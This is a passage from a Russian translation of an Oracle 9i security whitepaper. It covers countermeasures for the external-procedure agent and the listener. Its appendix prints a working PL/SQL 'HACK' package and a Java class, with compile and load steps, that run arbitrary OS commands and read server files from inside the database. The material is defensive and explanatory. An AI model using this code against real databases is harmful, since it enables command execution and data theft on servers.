- •Информационная безопасность Oracle 9i
- •Помните: нужно своевременно вставлять заплаты!
- •Структура документа
- •Безопасность листенера
- •Перечисление целей: поиск листенеров
- •Перечисление целей: использование управляющей программы листенера
- •Атаки листенера
- •Меры противодействия – установка параметров защиты листенера
- •Атаки баз данных
- •Меры противодействия – атаки баз данных
- •Меры противодействия – plsExtProc
- •Приложение b – контрольный список вопросов для оценки защиты листенера
- •Приложение с – дополнительная литература и ссылки
Меры противодействия – plsExtProc
Если механизм вызова внешних процедур не нужен, то его можно без риска отключить, удалив из файлов listener.ora и tnsnames.ora связанные с ним записи. Это не позволит базе данных связываться с агентом внешних процедур. Для предотвращения реконфигурирования этих файлов и повторного включения механизма вызова внешних процедур следует убрать привилегию запуска процесса PLSExtProc или удалить саму выполняемую программу.
Если агент внешних процедур нужен, то следует рассмотреть использование межсетевых экранов, ограничивающих соединения, исходящие от сервера, с другими машинами (например, с узлами репликации). Пользователи с локальными учетными записями на машине и DBA смогут выполнять команды ОС как пользователи, которые являются владельцами Oracle.
Вопросы, подлежащие дальнейшему исследованию
В данной статье затронут ряд вопросов, которые подлежат дальнейшему исследованию, включая:
-
другие вопросы конфигурирования листенера, например, регистрация сервисов, SNMP, SSL;
-
другие злоупотребления PLSExtProc (например, атаки типа “переполнение буфера” как на сам процесс, так и сервисы операционной системы сервера).
Оповещение о проблемах, связанных с безопасностью
Если читатели считают, что они обнаружили новую уязвимость защиты, мы просим сообщить об этом прежде всего в службу поддержки Oracle (для заказчиков с поддержкой) или же по адресу secalert_us@oracle.com. Мы обещаем частным лицам и организациям, которые работают с нами, идентифицировать и решить проблемы безопасности в наших извещениях.
Заключение
В данной статье рассмотрен ряд атак баз данных Oracle и описано, как Oracle встречает эти угрозы, по умолчанию или используя простые шаги конфигурирования. Описаны новые функциональные возможности:
-
опция листенера ADMIN_RESTRICTIONS;
-
блокирование по умолчанию учетных записей базы данных.
Эти, несомненно, простые и незначительные совершенствования, используемые совместно, существенно повышают защиту Oracle9i. Недооценка данных рекомендаций может подвергать серьезным атакам (включая атаки типа “отказ в обслуживании”) базу данных, соединенные с ней базы данных и сами серверные машины.
Приложение A – тестовые программы
A.1 Пакет PL/SQL “HACK”
-- HACK.SQL
-- (c) 2001, Oracle Corporation
-- Author: Bridesmaid (Howard Smith)
--
-- Пакет HACK, содержащий полезные процедуры для злоупотребления
-- привилегиями базы данных
create or replace package hack as
procedure javaexecute(command varchar2); -- Выполняет команду, используя Java
procedure sysexecute(command varchar2); -- Выполняет команду, используя SYSTEM
procedure exists(filename varchar2, dir varchar2); -- Проверяет, существует ли файл
procedure browse(filename varchar2, dir varchar2); -- Выводит содержимое файла
end;
create or replace package body hack as
--
-- Определяет функцию PL/SQL wrapper JEXECUTE для класса Java "JExecute", определенного внешне
--
function jexecute(command varchar2) return varchar2 is
language java
name 'JExecute.JExec(java.lang.String) return java.lang.String';
--
-- Удобная для пользователя версия, которая выполняет заданную команду и выводит статус возврата
--
procedure javaexecute(command varchar2) is
result varchar2(32000);
begin
dbms_output.enable(1000000);
result := jexecute(command);
dbms_output.put_line(result);
end;
--
-- Процедура "обертки" служебного вызова "system", определенного в библиотеке libsys
--
function syscall(call varchar2) return binary_integer is
external
library libsys
name "system"
calling standard c
parameters(call by reference string, return ub4);
--
-- Процедура "обертки" для syscall
--
procedure sysexecute(command varchar2) as
begin
dbms_output.enable(1000000);
dbms_output.put_line('Executing: '||command);
dbms_output.put_line('Command completed with status: ' || syscall(command));
end;
--
-- Проверка существования указанного файла в файловой системе ОС
--
procedure exists(filename varchar2, dir varchar2) as
Lob_loc bfile;
begin
dbms_output.enable(1000000);
dbms_output.put_line('Checking file:'||filename);
dbms_output.put_line('Directory: '||dir);
-- Сначала мы должны создать каталог
declare
begin
execute immediate ('create or replace directory hackdir as '''||dir||'''');
exception
when others then
dbms_output.put_line('Directory creation failed'||sqlerrm);
return;
end;
-- Сейчас проверим существование файла
lob_loc:=bfilename('HACKDIR',filename);
if (DBMS_LOB.FILEEXISTS(Lob_loc)!= 0) then
dbms_output.put_line('File exists');
else
dbms_output.put_line('File does not exist');
end if;
end;
--
-- Просмотр заданного файла
-- Это очень простая демонстрационная программа. Форматирование файла не сохраняется.
--
procedure browse(filename varchar2, dir varchar2) as
Lob_loc bfile;
Buffer RAW(128);
Amount BINARY_INTEGER := 128;
Position INTEGER := 1;
begin
dbms_output.enable(1000000);
dbms_output.put_line('Display file:'||filename);
dbms_output.put_line('Directory: '||dir);
-- Сначала мы должны создать каталог
declare
begin
execute immediate ('create or replace directory hackdir as '''||dir||'''');
exception
when others then
dbms_output.put_line('Directory creation failed'||sqlerrm);
return;
end;
-- Сейчас проверим существование файла
lob_loc:=bfilename('HACKDIR',filename);
if (DBMS_LOB.FILEEXISTS(Lob_loc)!= 0) then
declare
begin
--открыть файл для чтения
DBMS_LOB.OPEN(Lob_loc, DBMS_LOB.LOB_READONLY);
--вывести содержимое файла
LOOP
DBMS_LOB.READ(Lob_loc, Amount, Position, Buffer);
dbms_output.put_line(UTL_RAW.CAST_TO_VARCHAR2(Buffer));
Position := Position + Amount;
END LOOP;
-- закрыть файл и выдать диагностику
DBMS_LOB.CLOSE(Lob_loc);
exception
WHEN NO_DATA_FOUND THEN
dbms_output.put_line('**End of Data**');
end;
else
dbms_output.put_line('File does not exist');
end if;
end;
end;
A.2 JExecute.java
Эта программа используется для демонстрации выполнения произвольных команд с помощью Java, компиляция выполняется следующим образом:
javac jexecute.java
для загрузки используйте:
loadjava jexecute.class -user <пользователь>/<пароль>
// JExecute.java
//
// (c) 2001, Oracle Corporation
//
// Author: Bridesmaid (Howard Smith)
//
// Простой демонстрационный класс, который может
// выполнять программу, передаваемую как параметр.
import java.io.*;
public class JExecute {
public static String JExec(String command)
{
try {
Process child = Runtime.getRuntime().exec(command);
InputStream childout = child.getInputStream();
InputStreamReader r = new InputStreamReader(childout);
BufferedReader in = new BufferedReader(r);
String line;
String output;
output = "";
while((line = in.readLine()) != null) output = output + line + "\n";
if (child.waitFor() != 0) output = "Execute failed with exit code:" + child.exitValue();
return (output);
} catch (Exception e) {
return("Execute failed with exception:" + e.toString());
}
}
}